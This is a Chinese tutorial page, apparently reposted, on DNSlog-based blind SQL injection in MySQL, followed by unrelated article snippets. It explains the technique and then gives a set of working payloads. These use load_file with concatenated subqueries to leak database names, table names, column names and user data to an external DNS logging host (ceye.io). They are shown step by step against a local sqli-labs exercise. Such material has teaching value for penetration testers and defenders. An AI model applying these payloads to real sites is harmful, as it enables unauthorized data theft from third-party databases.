dnslog盲注

dnslog盲注

    • dnslog注入原理
    • DNSlog工具
    • 什么情况下使用dnslog注入?
    • Mysql DNSlog原理图
    • DNSlog盲注利用条件
    • DNSlog盲注操作方式
    • 实战演练
      • 查询当前数据库名:
      • 查询当前数据库的第一个表名:
      • 查询第users表一个列名:
      • 查询users表的username列的数据:
      • 需要注意的点:

dnslog注入原理

通过子查询,将内容拼接到域名内,让load_file()去访问共享文件,访问的域名被记录
此时变为显错注入,将盲注变显错注入,读取远程共享文件,通过拼接出函数做查询,拼接到域名中,访问时将访问服务器,记录后查看日志

DNSlog工具

如果有自己的服务器和域名,可以自建一个这样的平台,直接使用BugScan团队开源的工具搭建即可:
https://github.com/BugScanTeam/DNSLog
另外我们也可以使用在线平台:
http://ceye.io
http://www.dnslog.cn

什么情况下使用dnslog注入?

大家在渗透测试的时候可能会遇到一下这些情况:
(1)挖到一个有SQL盲注的站点,可是用sqlmap跑需要频繁请求,最后导致ip被ban
(2)发现疑似命令注入的洞,但是目标站点什么也不显示,无法确认是不是有洞
总之就是目标不让信息显示出来,如果能发送请求,那么就可以尝试咱这个办法——用DNSlog来获取回显
(1)SQL注入中的盲注
(2)XSS盲打
(3)无回显的命令执行
(4)无回显的SSRF
(5)无回显的XXE(Blind XXE)

Mysql DNSlog原理图

在这里插入图片描述

DNSlog盲注利用条件

mysql.ini中secure_file_priv必须为空
(1)当secure_file_priv为null,不允许导入导出
(2)当secure_file_priv为/tmp导入导出只能在/tmp目录下。
(3)当secure_file_priv为空,则不作限制允许导入导出(注意NULL不是我们要的空,NULL和空的类型不一样)

DNSlog盲注操作方式

Payload1:
下面展示一些 内联代码片

?Id=1’and load_file(concat('\\\\',(select database()),'.c4d3hg.ceye.io\\sql'))--+

相应的更换 select database()查询语句便可以实现DNS外带的回显注入,其中1ilizz.dnslog.cn为ceye.io平台给每个账号的昵称
查询当前数据库:

and load_file(concat('\\\\',(select database()),'.c4d3hg.ceye.io\\sql'))--+

//xtftm5.ceye.io根据ceye平台给你的域名更改,\sql是域名目录,随意即可,select database()换成sql注入payload即可
查询表名:

and load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema='security'limit 0,1),'.c4d3hg.ceye.io\\sql'))--+

查询列名:

and load_file(concat('\\\\',(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),'.c4d3hg.ceye.io\\sql'))--+

查询数据:

and load_file(concat('\\\\',(select username from users limit 0,1),'.c4d3hg.ceye.io\\sql'))--+

Payload2:

and (select load_file(concat('\\\\',(select database()),'.c4d3hg.ceye.io\\aaa')))#

原理跟上面差不多

实战演练

Sqllab的第9关
这里就要借用一个平台:http://ceye.io
在这里插入图片描述

查询当前数据库名:

http://127.0.0.1/sqllab/Less-9/?id=1' and load_file(concat('\\\\',(select database()),'.c4d3hg.ceye.io\\sql'))--+

在这里插入图片描述
回显数据
在这里插入图片描述

查询当前数据库的第一个表名:

http://127.0.0.1/sqllab/Less-9/?id=1' and load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema='security'limit 0,1),'.c4d3hg.ceye.io\\sql'))--+

在这里插入图片描述
可以看到这里成返回了第一个表的名字
依次类推可以推出users表

查询第users表一个列名:

http://127.0.0.1/sqllab/Less-9/?id=1' and load_file(concat('\\\\',(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),'.c4d3hg.ceye.io\\sql'))--+

在这里插入图片描述

查询users表的username列的数据:

http://127.0.0.1/sqllab/Less-9/?id=1' and load_file(concat('\\\\',(select username from users limit 0,1),'.c4d3hg.ceye.io\\sql'))--+

在这里插入图片描述

需要注意的点:

1.查询当前用户时,因为结果中有@符号,使用dnslog注入时,需要使用hex函数进行转码,再将查询到的hex转码后的数据解码即可,如下:

如果使用group_concat函数进行快读查询,也同样需要hex转码,利用如下:

http://127.0.0.1/sqllab/Less-9/?id=1'and load_file(concat('\\\\',(select hex(group_concat(table_name)) from information_schema.tables where table_schema='security'),'.c4d3hg.ceye.io\\sql'))--+

在这里插入图片描述
在这里插入图片描述查询到的是hex编码的结果
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/358805.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Python在cmd中配置虚拟环境ERROR: Command errored out with exit status 1:

粉丝求助: 解决办法: 具体步骤: 1.查看Python版本 2.Pythonlibs 中找到对应版本的whl文件,cp37代表3.7版本,win32代表Windows系统32位机,根据自己的电脑位数选择。

java sqlserver ssl_拦截SQLSERVER的SSL加密通道替换传输过程中的用户名密码实现运维审计(一)...

工作准备•一台SQLSERVER 2005/SQLSERVER 2008服务•SQLSERVER jdbc驱动程序•Java开发环境eclipse jdk1.8•java反编译工具JD-Core反编译JDBC分析SQLSERVER客户端与服务器通信原理SQLServerConnection.class1、经过反编译分析SQLServerConnection.class文件我们可以看到登录时…

1-9其他数据库注入

文章目录 数据库注入access数据库判断access数据库常用函数查询语句构造联合查询布尔型盲注 mssql数据库mssql数据库判断环境---靶机-2k3_sp2常用函数查询语句构造联合查询报错注入布尔型盲注 数据库注入 access数据库 判断access数据库 根据url的后缀。ASP为后缀名…

tp框架 db::name_玩! 框架:为什么我会爱上它

tp框架 db::name前一段时间,我是房地美,房地美,Foreclosure.com和HUD等公司在房地产市场上进行一些大型部署的技术负责人。 我们运行的是您可能熟悉的传统企业Java堆栈-Spring , Hibernate ,Solr等。花了几年时间&…

自动化专业向往硬件方面靠,有什么好的建议?

我的建议是: 有能力考研就先考研,考不上可以选择就业,学历还是很重要的,门槛。自动化可以找一些相关的知名企业,按照他们的招聘要求要求自己,往这个方法发展,垂直领域研究很深,你就是大佬和专家。 有个帖子讲的挺全的,虽然是文章:自动化人生 下面是理论内容,我直接…

java 内存数据库 sql_ssm+redis +Maven用于内存数据库 (No Sql)入门demo

最近一直是以自学的状态,想把自己学习到的知识分享给大家 ,也是好久没有写博客了。废话不多说 ,直接上代码。本次项目是 用maven 管理的.开发工具 eclipse在pom.xml文件中,中关于redis的配置:org.springframework.data…

Fitness - 05.23

倒计时222天 运动40分钟,共计8组,4.2公里。拉伸10分钟。 每组跑步3分钟(6.5KM/h),走路2分钟(5.5KM/h)。 终于赶在姨妈前完成第3周的跑步训练了,可喜可贺~~ 下周预计要休息了orz... 祈…

Linux下编译安装以及配置PHP环境

安装准备 依次执行下面命令,不存在的就搜差不多的就行,下面安装的都是后面安装环境可能需要用上的依赖,不管37是不是21,复制粘贴就是了 Ubuntu安装: sudo apt-get update sudo apt-get install gcc autoconf openssl libssl-dev curl libcurl4-gnutls-de…

开发SPI时不要犯这个错误

您的大多数代码都是私有的,内部的,专有的,并且永远不会公开。 在这种情况下,您可以放轻松–您可以重构所有错误,包括那些可能导致API更改中断的错误。 但是,如果要维护公共API,则不是这种情况。…

有什么好一点的方法读jdk源码吗?

建议是: 1:找相关的书在看相关源码时应该对程序有整体了解,比如看虚拟机时至少要知道:垃圾回收算法,Java内存布局,class文件格式,加载连接的过程...很多人看源码一点头绪都没有,就是因为不了解对应的模块是干嘛的(比如Ja

给女朋友道歉的java代码_跟女朋友道歉的话,高情商的哄人句子

女朋友生气了,而且很严重。在这种情况下,不知道做什么挽回她。第一诚实的道歉可以缓和彼此紧张的气氛。重要的是,道歉完就需要说一些话语去哄她,至于怎么哄又是一个技术性的问题了,下面一起来看看跟女朋友道歉的话,高情…

使用Myeclipse完成Hibernate的逆向工程

Hibernate的开发流程一般有两种: 1、由Domain object > mapping > db 2、由db开始,用工具生成生成mapping 和Domain object。 在实际的开发过程中,涉及的表太多了,一个一个的写java实体类很费事费时的。Myeclipse提供了一个…

面试用涉及到的jvm常见的面试题(一)

什么是jvm? JVM是Java Virtual Machine(Java虚拟机)的缩写,JVM是一种用于计算设备的规范,它是一个虚构出来的计算机,是通过在实际的计算机上仿真模拟各种计算机功能来实现的。 引入Java语言虚拟机后,Java语言在不同平台上运行时不需要重新编译。Java语言使用Java虚拟机…

kali安装docker(有效详细的教程)

前记: 博主有着多次安装docker的丰富经验,曾经为了在kali成功安装docker花费不少时间。在kali2016.3一直到最新的kali2019.4都通吃!所以跟着下面的步骤走,绝对不会出错。(该机子此前没装过docker,并且配置好…

java中 下列不合法的语句_在Java中,下列( )是不合法的赋值语句。_学小易找答案...

【多选题】一个国家一定时期的商品销售额属于?【单选题】某厂2007年完成产值200万元,2008年计划增长10%,实际完成231万元,超额完成计划?【多选题】我国GDP每增长1%,相当于人均增加收入70多元;全国将增加60—80万个就业岗位。这里用到的指标有?【单选题】轴的最小实体尺寸为(…

最大流EK和Dinic算法

最大流EK和Dinic算法 EK算法 最朴素的求最大流的算法。 做法&#xff1a;不停的寻找增广路&#xff0c;直到找不到为止 代码如下&#xff1a; Frosero #include <cstdio> #include <iostream> #include <cstring> #include <queue> #define INF 0x3f3…

某大厂JVM常见面试题(二)吐血整理

什么是JVM? JVM是Java Virtual Machine(Java虚拟机)的缩写,JVM是一种用于计算设备的规范,它是一个虚构出来的计算机,是通过在实际的计算机上仿真模拟各种计算机功能来实现的。 引入Java语言虚拟机后,Java语言在不同平台上运行时不需要重新编译。Java语言使用Java虚拟机…

_stat64获取错误_Log4j,Stat4j,SMTPAppender集成–汇总错误日志以发送过多电子邮件...

_stat64获取错误我们的开发团队希望在生产系统出现问题时尽快得到通知&#xff0c;这是一个每天为成千上万的客户提供服务的关键Java Web应用程序。 想法是让它在出现太多错误时向我们发送电子邮件&#xff0c;这些错误通常表示数据库&#xff0c;外部Web服务有问题&#xff0c…

Kali2021修改更新源

本次演示三种环境更换更新源 Xfce4版本 KDE版本 命令行版本 更新源 #中科大 deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib

java面试中jvm执行子系统详细分析(三)

什么是jvm? JVM是Java Virtual Machine(Java虚拟机)的缩写,JVM是一种用于计算设备的规范,它是一个虚构出来的计算机,是通过在实际的计算机上仿真模拟各种计算机功能来实现的。 引入Java语言虚拟机后,Java语言在不同平台上运行时不需要重新编译。Java语言使用Java虚拟机…